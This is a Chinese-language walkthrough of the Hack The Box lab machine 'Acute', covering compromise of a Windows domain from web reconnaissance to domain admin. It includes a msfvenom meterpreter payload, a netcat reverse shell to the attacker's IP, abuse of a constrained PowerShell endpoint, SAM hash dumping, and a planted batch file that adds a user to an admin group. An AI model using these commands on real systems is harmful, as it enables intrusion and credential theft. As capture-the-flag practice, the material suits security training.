[HTB] Acute


0x01 端口扫描


1 2
| echo "10.129.136.40 atsserver.acute.local acute.local" >> /etc/hosts tail -n 1 /etc/hosts
|
0x02 web

1
| gobuster vhost -u https://10.129.136.40 --domain acute.local -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
|

vhost爆破太慢,暂时放下

1
| Aileen Wallace, Charlotte Hall, Evan Davies, Ieuan Monks, Joshua Morgan, Lois Hopkins
|
还可以下到一个新员工检查表


两个页面全是404:

网站管理员是Lois:

默认密码: Password1!

PSWA上有一个dc_manage会话:



remote超链接https://atsserver.acute.local/Acute_Staff_Access
是PSWA的地址:

到这里一条路径就显现出来了,因为我们现在有员工清单和默认密码,完全可以尝试登录PSWA
除此之外还应先用exiftool检查该文档

创建者是FCastle,修改者是Daniel,然而他们都不在之前的名单中
主机名是Acute-PC01
0x03 PSWA
edavies@Acute-PC01

1
| Aileen Wallace, Charlotte Hall, Evan Davies, Ieuan Monks, Joshua Morgan, Lois Hopkins
|

接着我尝试了上述清单中的名字,无一例外的全部不正确
考虑到外国人可能会有一些奇怪的约定俗成的命名方式,我让gpt生成一个简单的用户名字典


edavies成功了!
这也让我们知道了开发者的命名习惯,名字的前半部分取第一个字母+后半部分(Evan Davies=edavies),这样看其实在前面发现的FCastle时就已有预兆

拿到了初始立足点
0x04 稳固立足点
在我多次尝试建立smb连接时全都被中断,严重怀疑存在AV

查看是否开启defender(0x0为开启):
1
| reg query "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware
|

查看是否开启defender防火墙(0x1为开启):
1
| reg query "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall
|

全开了,那么例行惯例先看排除目录:
1
| reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"
|

显然C:\Windows\System32
没有权限,但是C:\Utils
是突破口可以落地
1
| msfvenom -p windows/x64/meterpreter/reverse_tcp lport=4444 lhost=10.10.16.8 -f exe -o fy.exe
|
0x05 横向移动
imonks@ATSSERVER
传winpeas执行


1
| C:\Users\edavies\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
|


1
| C:\Users\edavies\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\2.0.0.0\passwords.txt
|

获得了一个很长的密码字典,先保存到本地

看着像在AD里面

令人意外的是有一个正在进行中的rdp会话,这显然不是我们,有必要进行rdp监控screenshare

得到的信息:edavies正在使用acute\imonks
@w3_4R3_th3_f0rce.
凭据向ATSSERVER
进行身份验证,使用的配置还是dc_manage
按照他的语句尝试连接:
1 2
| $pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
|

看起来好像是Measure-Object
的cmdlet没被加载



如gpt所言,用Invoke-Command
远程加载运行代码时,它会在一个新的上下文中执行,从而绕过dc_manage
的限制
1
| Invoke-Command -ScriptBlock { whoami } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|

现在我们获得了一个ATSSERVER
机器的初始权限,以imonks的身份
jmorgan@Acute-PC01
在这种受限的条件下枚举可用命令是十分有必要的(包括alias)
1
| Invoke-Command -ScriptBlock { Get-Command } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|

在检索该用户桌面时还发现了一个脚本文件:

1 2 3 4
| $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51' $passwd = $securepasswd | ConvertTo-SecureString $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd) Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
|
在Acute-PC01
上逐行执行,尝试获得凭据

很遗憾但是在情理之中的失败,显然是因为安全密码字符串是使用仅在被加密的计算机上可用的信息进行加密的
那么我们现在其实只能通过之前的命令去ATSSERVER
上执行该脚本
1
| Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|

这里执行的是写好的Get-Volume
命令,那么我们很自然的可以想到替换成反射shell语句,来拿到acute\jmorgan
在Acute-PC01
上的shell
1
| Invoke-Command -ScriptBlock { $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c 0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'; $passwd = $securepasswd | ConvertTo-SecureString; $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd); Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|

一如我们在之前查看的,可用的cmdlet并没有ConvertTo-SecureString
但很矛盾的是我们上一步中已经成功执行了该脚本

根据gpt的说法,可能是该脚本的缓存机制导致了脚本中可用ConvertTo-SecureString
而且幸运的是,这个脚本就在我们可控用户的桌面,它是可控的
同时由于Set-Content这个cmdlet可用,所以我们可以很轻松的将其修改为反弹shell语句
1
| Invoke-Command -ScriptBlock { ((cat ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.16.8 9999') | sc -Path ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|


至此拿到了jmorgan
在Acute-PC01的立足点

awallace@ATSSERVER
很遗憾,即使我们已经是BUILTIN\Administrators
的成员,但仍然不够,c:\users\administrator\desktop\root.txt
并不在这台机子,还需要进一步提权到域管理组去疑似域控的ATSSERVER
寻找
现在我们手上有一个本地管理员用户,不管怎样我们都应该优先转储哈希
1 2
| reg save HKLM\system sys.bak reg save HKLM\sam sam.bak
|
1
| secretsdump.py -sam sam.bak -system sys.bak LOCAL
|

获得了Guest是空密码和Administrator是Password@123
在任何情况下获得新的密码时,尝试密码复用都是很有必要的
1 2 3
| $pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("ACUTE\awallace", $pass) Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami }
|

事实上,该密码被awallace在ATSSERVER上使用
我们现在又回到了这台受限制的机子ATSSERVER
,以awallace的身份
和之前一样,还是做一些必要的探索:

就cmdlet来说还是一样的苛刻
1
| Invoke-Command -ScriptBlock { ls '\program files\keepmeon' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|

不同的是,这次可以对神秘的program keepmeon
访问了
1 2 3 4 5
| @echo off for /R %%x in (*.bat) do ( if not "%%x" == "%~0" call "%%x" )
|
看起来我们的网站管理员lois会定时执行这个文件,文件本身是用来执行除自己外的bat文件
让我们先来查看lois(网站管理员)能做什么:
1 2 3
| Invoke-Command -ScriptBlock { net group /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|

对于Site_Admin
组的描述是紧急情况下的可访问域管理员组
此时思路已经明了,我选择将我们控制的awallace加入site_admin
组
1
| Invoke-Command -ScriptBlock { Set-Content -Path '\program files\keepmeon\fy.bat' -Value 'net group site_admin awallace /add /domain'} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|
添加上述bat文件,loris会替我们执行它

为了保险起见我还添加了jmorgan测试
现在我们应该已经可以读到c\users\administrator\desktop\root.txt
1
| Invoke-Command -ScriptBlock { cat 'c:\users\administrator\desktop\root.txt' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|